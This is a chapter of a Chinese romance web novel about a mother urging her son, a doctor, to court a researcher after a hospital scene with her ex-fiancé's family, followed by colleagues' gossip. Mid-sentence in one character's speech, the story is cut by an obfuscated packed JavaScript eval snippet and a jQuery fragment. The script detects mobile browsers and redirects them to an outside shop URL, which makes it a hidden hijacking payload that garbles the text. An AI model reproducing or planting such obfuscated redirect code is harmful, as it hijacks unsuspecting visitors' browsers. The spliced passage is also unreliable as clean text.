蓝悦早就被眼前的一幕又一幕惊的要命,还憋着一肚子火气,刚才被于望妈气得胸口发闷,看着身边受了委屈的宁彦初,又看向护着她们的宋辞,心里迫切产生一个想法,她给自己的儿子使了一个眼色,宋辞心领神会轻轻点头。
蓝悦抬手轻轻拍了拍宁彦初的肩膀,语气瞬间柔和下来,满是关心:“彦初,别站着了,走,咱们进屋,趁热吃饭。”
宁彦初被蓝悦拉着就到病房,指尖的冰凉渐渐被暖意取代,她深吸一口气,回头看了看紧闭的病房门,发现宋辞没有跟进来,心里难免还有点担心。
“阿姨,小辞他——?”
“外面的事情就交给他去处理好了。你呀,就是心太软才容易被这种人欺负,现在开始,听阿姨的,什么都不要操心,你每天要做的事情都够多了,扛着一整个实验组的压力,身体也没有恢复好,看你瘦的……”蓝悦瞬间上线了絮叨模式,刚才和宋辞有些相似的凌厉的眉眼已经被浓厚的心疼的取代。
闹剧迅速落幕。
*
当天晚上。
下班回家准备洗澡换身衣服的宋辞发现自己的亲妈蓝女士罕见没有去遛狗或者绣十字绣追剧,而是安静地坐在客厅的沙发上,明显就是在等他。
“怎么一个人坐在这儿?我爸呢?”宋辞换好鞋走到客厅,顺手打开了客厅的大灯,“这么暗,还不开灯。”
“还没回来,他今晚有课。我气得什么都不想做。”蓝悦闷闷回复,手里还抱着毛豆,有一搭没一搭的撸着小狗下巴上的毛。
宋辞自然知道是因为什么,闻言表情暗了暗,轻描淡写道:“今天也算是意外,都已经处理好了,他们不会再出现在医院了。”
“不只是这个事,儿子。这不是根本问题。”蓝悦把狗放回到了地上,伸出手招呼宋辞,“过来坐,妈妈想跟你谈谈。”
宋辞一看蓝悦的表情,深吸了口气,刚才冷峻的气质瞬间崩塌,“您能别用谈谈这个语气说话吗?我听了害怕。”
蓝悦翻了个白眼,“就你还害怕?赶紧过来!”
“等我拿个喝的。”宋辞两步跑到冰箱前,掏出来一瓶气泡水,抓在手里,长腿长脚但是无比端正地坐在了蓝悦的身边,喝了一口冰爽的气泡水,做出洗耳恭听状。
“你怎么还没有追到小初?”
蓝悦第一句话出来,宋辞就呛住了。
“咳咳咳——”气泡水顺着喉咙呛进气管,呛得他眉眼发红,肩膀不住发颤,手里的瓶子都差点没拿稳。他慌忙抬手捂住嘴,咳了好一会儿才缓过来,耳根泛着薄红,语气里还带着未平的呛意,“妈,您怎么突然说这个?”
蓝悦没好气地伸手拍了拍他的后背,递过一张纸巾,眼底的急切半点没藏:“我不说这个说什么?”
“什么追不追的……不是,你怎么知道——?”
“你是我亲生的,你说我怎么知道。”蓝悦看着自己的儿子,表情里带着淡淡的嫌弃,“我早就看出来了,但是我说实话,你儿子你别觉得妈妈说话扎心啊,那会儿我确实觉得你配不上她。”
宋辞木着脸问:“……等等,我哪儿会儿配不上她?”
“害,没事儿,又不重要。”蓝悦笑眯眯摸了一把儿子的毛头。
“不,有事儿,妈妈。”宋辞放下手里的瓶子,大有要问个清楚的架势,“重要的。”
蓝悦没办法,只好破罐子破摔般说:“就你高中,小初给你来补课。我就看出不对劲了。”
“我高中怎么了?”宋辞眼神发飘。
蓝悦目光放远了一点,回忆道:“突然开始收拾屋子,出门找半天衣服,还开始关注头顶那几根毛的造型……噢,还有,你买的那些小发卡是给小初的吧?样子倒是挺可爱,就是也不知道藏好点,我看你最后也没有送出去……没出息。”
“好了好了好了,我不想知道了。”宋辞打断了自己妈妈的话,尴尬地闭住了嘴巴,在心里忍不住想竖起一根大拇指。
「不愧是我亲妈。就不该问的。」
“扯远了,你以前是不行。但是现在好多了,尤其是和那个谁比……呸呸呸,根本不能一起比,想起来我就生气。”
蓝悦说到这儿继续狂皱眉毛,“小初这个孩子我也是看着长大的,之前家里那个样子,孤苦伶仃一个人,我真的是把她交给谁也不放心。尤其是今天,我一到医院……”
蓝悦眼眶红了。
宋辞默默伸出一只手,按住了蓝悦放在膝盖上的手背,宽慰:“妈,我都知道……但为了那些人,不值得气坏自己。”
“实在是太过分了!那群人就跟市井流氓一样!我一想到如果小彦如果在天上看到今天的场景,得多伤心……”
蓝悦嘴里的“小彦”是宁彦初的母亲,每次提到宁彦初的父母她都会情绪低落一阵,这次又因为这样的情况,抬手揉了揉眼角,语气也软了下来,满是疼惜:“那孩子看着比谁都坚强,学习工作都很好强,什么事自己扛着不吭声,可其实心里比谁都软,遇人不淑本就够难受了,分开这么久了还得受这种窝囊气。”
宋辞捏着手里的纸巾,脸色很沉,指尖收紧得泛白,指节都微微凸起,“是我没做好,以后这样的事情不会再发生了,我会守着她,不让任何人再欺负她。”
“总之,儿子。”蓝悦深吸一口气,抬手轻轻擦了擦眼角那点不易察觉的湿意,脸上的神色瞬间敛去了伤感,变得格外正经,伸手攥住宋辞的手,语气里没有半分商量的余地,急切中裹着实打实的郑重,“妈妈不管你以前有多犹豫,也不管你是不是有自己的顾虑、想按着自己的节奏来,我就一句话,现在不能再慢慢拖着等着了。我今天也当着那群人面直接说了宁彦初就是我蓝悦的儿媳妇。”
“……反正我不能说话不算话。”
宋辞没说话,但是眼睛里闪着细碎的光。
蓝悦见儿子不吭声,指尖轻轻用力,语气软了些,满是真切的托付:“小初这孩子,从小什么都好强,心里最软也最缺疼,她太需要人疼、需要人护着了。你是我生的儿子,我比谁都了解你,你心里装着她,也有能力护着她,刚才妈妈说的那些都是开玩笑的。你这时候作为男人,就得主动一点、多承担一点,别藏着掖着,打起精神,自信起来!小初这孩子,交给别人我始终不踏实,唯有交给你,我才能真正放心。”
宋辞抿着嘴点点头,表示听进去了。
蓝悦见儿子难得乖巧一回,没忍住又“威逼利诱”了一番:“我今天可把话撂在这儿,你要是再磨磨蹭蹭、扭扭捏捏的,哪天小初真被别人拐走了,甭管是好人坏人,都归别人了,你可别回来再抱着毛豆哭。从明天起,少加点没必要的班,多往小初那儿跑跑,多陪她聊聊天,陪着她做点她喜欢的事,怎么追女孩总不能让我教你吧……还有没事多上上网,看看现在人家谈恋爱都做点什么,别天天抓着人小初就说工作说实验,总之——赶紧把人追到手里,听见没有?!”
宋辞想笑,鼻尖又有点酸,他想说他才不会抱着毛豆哭,也想说他不可能把宁彦初拱手让人,最后,宋辞站起身,凑到蓝悦身边,揽住了蓝悦的肩膀。
“谢谢,妈。“
“儿子,不用谢。妈只是希望你们幸福。”
*
那天之后,于望像是彻底消失在了宁彦初的世界里。
可他的零星消息,依旧会从实验组和旁人的闲谈里,零零散散地飘到宁彦初耳朵里。
比如专门趁着宋辞去门诊蹭过来道歉的林思瑜会不经意间交代自己这个表妹和那个渣男交往的始末……
“我和表妹平时联系的不多,我只从家里人那边知道她找了个未婚夫,是单位的同事,但是我姑姑和姑父一直不太看好那个准女婿,说小伙子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17395970|195548||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
虽然上进但是家里条件一般,看着心眼也比较多,对表妹也不够细心,但是表妹真的很喜欢那个男人,谁也劝不动……我也不知道这里面有这么尴尬的事情。听说俩人商量着刚订了婚,文怡就怀孕了,男方家长比较强势,非说婚礼等孩子出生以后连着满月宴再一起办,还说老家就是有生完孩子再办仪式的传统……我姑姑他们气炸了,结果没想到后来他们不知道怎么搞的,孩子也没有保住……家里都觉得上海那边医疗系统都是熟人,对文怡名声不好,说送到北京治疗,没想到闹成这样。”
林思瑜满脸无语地把手里的带来的奶茶给宁彦初戳好吸管,送到了自家“偶像”的手边,无奈道:“我但凡知道那个男人还纠缠着您,我绝对不会答应她来咱们医院……都是什么事儿,不过好在这下她也算是在正式结婚前看清了那个男人的真正面目……”
“那天看她气色确实很差,身体还是第一位的,她还年轻。”宁彦初直接忽略了有关于望的一切消息,轻轻地附和了一句。
林思瑜偷看着宁彦初的脸色,见她真的还是平平淡淡,心里不由得松了口气,“反正您放心,文怡肯定不会再来这边了,她也是受到了很大的刺激,还托我跟您说声对不住,她以前可能因为那个男人的关系对您还有些误会,她现在也认识到了真实的情况,可能也终于死心了吧……”
另一边实验组表现得就没有林思瑜这么“平淡”了,小贾率先在一个小群组里骂了好几页卷纸那么长的文字,着重用来喷于望的种种骚操作和神奇的脑回路。
实验组另外两个当天在医院看设备的男同事也十分愤慨,还懊悔没有当时陪着宁彦初一起回病房取东西,才让那家人有了可趁之机。
同时,宁彦初无意中从组员交流中得知,说于望这次回到上海后不久,就被调了工作,还在实验中心,但是被换了一个比较偏的科室,据说主要是就是固定资产管理设备报废那一块,和他之前的部门核心工作性质有很大的差别,估计可能是女方家知道他的所作所为出手了……
“妥妥的报应!”小贾人在西藏,听说了宁组长的事情,血压飙得差点比海拔都要高,“我之前觉得和他订婚的那个小姑娘也很可恨,现在想想那姑娘也是真的够惨,被他盯上都会不幸!”
“我真的不敢想,要是组长真的跟于望结婚了,她以后面对那样的家庭和婆婆该怎么工作生活……我上次听到有路过小护士说于望的妈妈穿着高跟鞋纱裙子在医院大闹,还想要动手打人,真的太可怕了……真的应该去看看脑子。”另一个已经结完婚的女研究员满脸惊恐,她还没有和老公要孩子,和婆家关系一直也还可以,即便如此她偶尔也会生出一些要是没结婚该多自由的情绪,现在看到血淋淋的例子在身边发生,实在是后怕。
“可我还是很难相信,你们说于望看着平时多正常,甚至给人一种很儒雅的感觉……谁能知道他原生家庭是这个样子呢?这让我以后还怎么相信男人、相信爱情……”实验组年纪最小的姑娘表情震撼又难过,她之前在于望追宁组长时没少喝那男人送来的奶茶,还很真情实感地磕CP,现在想想胃里一阵难受。
小贾安抚道:“醒醒,妹妹,于望那个根本就不是爱情。有时间多看看宋医生,吃点好的……我相信这世界还是好人多,至少宋医生真的很完美……你要是对感情失望了,不如看看宁组长和宋医生这对CP好好洗洗眼睛。”
而此刻,宁彦初与宋辞对周遭的议论与夸赞全然不知。
下午宋辞歇班,他去实验室领走了还准备陪着组员监测数据的宁彦初,让她换身衣服和自己出门。
“要离开医院吗?”宁彦初很惊讶。
“不会特别久。作为主治医生我会陪着你,监护你的情况。”宋辞把假公济私说的冠冕堂皇。
宁彦初直到上了宋辞汽车的副驾驶,才知道他今天要带自己去环球影城。